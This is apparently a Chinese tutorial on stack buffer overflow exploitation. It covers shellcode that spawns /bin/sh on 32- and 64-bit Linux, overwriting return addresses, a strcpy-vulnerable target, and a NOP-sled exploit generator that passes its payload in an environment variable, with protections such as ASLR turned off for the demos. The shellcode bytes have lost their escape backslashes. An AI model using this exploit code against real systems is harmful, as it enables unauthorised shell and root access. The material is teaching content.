在之前所讲述的内容中,都是我们在自己的程序中自行修改的;正常情况下,没有程序员会在自己的代码中这样写——那有没有办法攻击别人正常的程序呢?攻击者怎么样能够影响到不是自己的程序的返回地址呢?以及怎么样通过攻击别人的代码来获得shell呢?并且最好是root shell呢?
为了理解一下这个问题的难度,我们来归纳一下在之前获得shell的例子中,我们利用了哪些条件。首先,我们在程序中,写了一段调用生成shell的代码,这段代码直接和主程序一起被编译生成了可执行代码;其次,我们能够容易地获得函数调用中的返回地址,因为可以直接操作变量。
如果要攻击他人的程序,首先,需要有一段生成shell的可执行代码;其次,需要能够找到一个返回地址。
第一个问题,答案是shellcode。
第二个问题,答案是缓冲区溢出。
什么是shellcode呢?就是能够生成shell的code。就不细讲如何生成shellcode了。
先直接来看一些shellcode的例子。
以下代码在32系统运行。
char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";void hello(){printf("hello.n");exit(0);
}void main(int argc, char **p) {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;
}
值得注意的是,此时的shellcode是一段字符串,而且没有被声明为const,也即是可变的。这样的变量一般在分配时,相应的内存处会有不可执行保护。在编译时需要加上参数,取消栈保护。
以下代码在64位系统运行。
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 3;(*ret) = (unsigned long)shellcode;}
通过以上例子,可以看出shellcode的作用,就是一段可执行的代码。当返回地址指向shellcode的首地址的时候,shellcode获得执行。
https://www.zhihu.com/video/1102522760315613184同时,我们对以下代码进行比较。
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 1 ;(*ret) = (unsigned long)shellcode;}
这段代码的执行结果是
想一想,为什么?
再看一下,这段代码在32位系统:
void main(int argc, char **p) {int *ret;char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";ret = (int *)&ret + 21;(*ret) = (int)shellcode;
}
运行结果如下:
https://www.zhihu.com/video/1102520181166817280思考一下是什么原因呢?
在64位系统上,结果也类似。为了防御缓冲区溢出攻击,编译器进行了canary和防止栈运行等防御。
明确shellcode的功能之后,攻击者现在需要做的事情,就是将shellcode置于内存的某处,然后将返回地址指向shellcode。这一步骤,主要是通过缓冲区溢出实现的。
首先看下面一段代码。
void function(char *str){char buffer[16];strcpy(buffer,str);
}void main(){char large_string[256];int i;for(i=0;i<255;i++)large_string[i]='A';function(large_string);
}
这段程序中就存在 Buffer Overflow 的问题。之所以叫做缓冲区溢出,是因为function中的字符数组长度仅为16,而传递给 function 的字符串长度要比 buffer 大很多。并且function 没有经过任何长度校验,直接用 strcpy 将长字符串拷入 buffer。strcpy并不进行长度检查。在之前的分析中,我们知道字符串存储时是从低地址向高地址增长,因此超出buffer[16]的字符串会持续向上覆盖,也即溢出。结果是 buffer 后面的 250 字节的内容也被覆盖掉了,这其中自然也包括 前一个ebp(rbp)、 ret 地址 、large_string 地址。所以此时 function的返回地址变成了 0x41414141h,所以当function函数执行结束返回时,它将返回到 0x41414141h 地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报 Segmentation Violation。
之前讲过,因为overflow漏洞影响深远,所以操作系统和编译器中都对它进行了防范。在这个例子中可以看到,如果编译的时候没有取消栈保护,那么会被检测出来试图进行攻击。这个保护的原理是什么,我们过会儿再看,现在先来看看如果利用缓冲区溢出,来获得一个shell。
看这一份代码。【以下代码在64位系统上运行失败;在32位系统没问题。】
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";char large_string[256];void main() {char buffer[96];int i;unsigned long *long_ptr = (unsigned long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (unsigned long) buffer; //使用buffer首地址填充large_string;等待覆盖return address;这样,返回地址变为buffer首地址;下一个for循环,使得shellcode在strcpy的起始;使用strcpy,保证buffer首地址就是shellode的起始for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);
}
类似的代码在64位系统上:
https://www.zhihu.com/video/1102540775484735488在64位系统上失败的原因:从large_string到buffer的拷贝不成功。导致返回地址的值没有被修改。获得shell失败。
到目前为止,所有的攻击还是在同一份代码中发生的。
如果想对别人发起攻击,应该如何操作?
我们看一段简单的代码:
void main (int argc,char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);
}
攻击思路是传入一段代码,并且还要让main的返回地址指向我们传入的代码。因为传入的代码只能在buffer中,所以我们要能知道buffer的首地址是多少。在之前的例子中,我们将buffer的首地址复制了很多份放在large_string中,这里因为buffer是在别人的代码中,也不能直接操作,所以只好靠猜——然后将这个地址再拷贝很多次。
大概十年之前,对于所有程序来说堆栈的起始地址是一 样的,而且在拷贝 ShellCode 之前,堆栈中已经存在的栈帧一般来说并不多,长度 大致在一两百到几千字节的范围内。因此,我们可以通过猜测加试验的办法最终 找到 ShellCode 的入口地址。
现在,为了防御这种方式,加了栈起始地址随机化。如果没有关掉栈起始地址随机化保护,不同次运行同一个程序时,栈的起始位置都不一样。
unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}
void main() {printf("0x%xn", get_sp());
}
所以,猜测更加困难了。
这里为了演示,我们得把操作系统的栈起始地址随机化保护给关掉。
关掉之后,
有一个方法是将 ShellCode 放在 large_string 的中部,而前面则一律填充为 NOP 指令(NOP 指令是一个任何事都不做的指令,主要用于延时操作,几 乎所有 CPU 都支持 NOP 指令)。这样,只要我们猜的地址落在这个 NOP 指令串中, 那么程序就会一直执行直至执行到 ShellCode(如下图)。这样一来,我们猜中的概率就大多了(以前必须要猜中 ShellCode 的入口地址,现在只要猜中 NOP 指令串中的任何一个地址即可)。
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.n");exit(0);} printf("0x%xn",get_sp());addr = get_sp() - offset;printf("Using address: 0x%xn", addr);ptr = buff;
// addr = "bfffef90"; addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '0';//memcpy(buff,"EGG=",4);//putenv(buff);setenv("EGG",buff,1);system("/bin/bash");
}
运行结果如下【32位系统】:
https://www.zhihu.com/video/1102567120042352640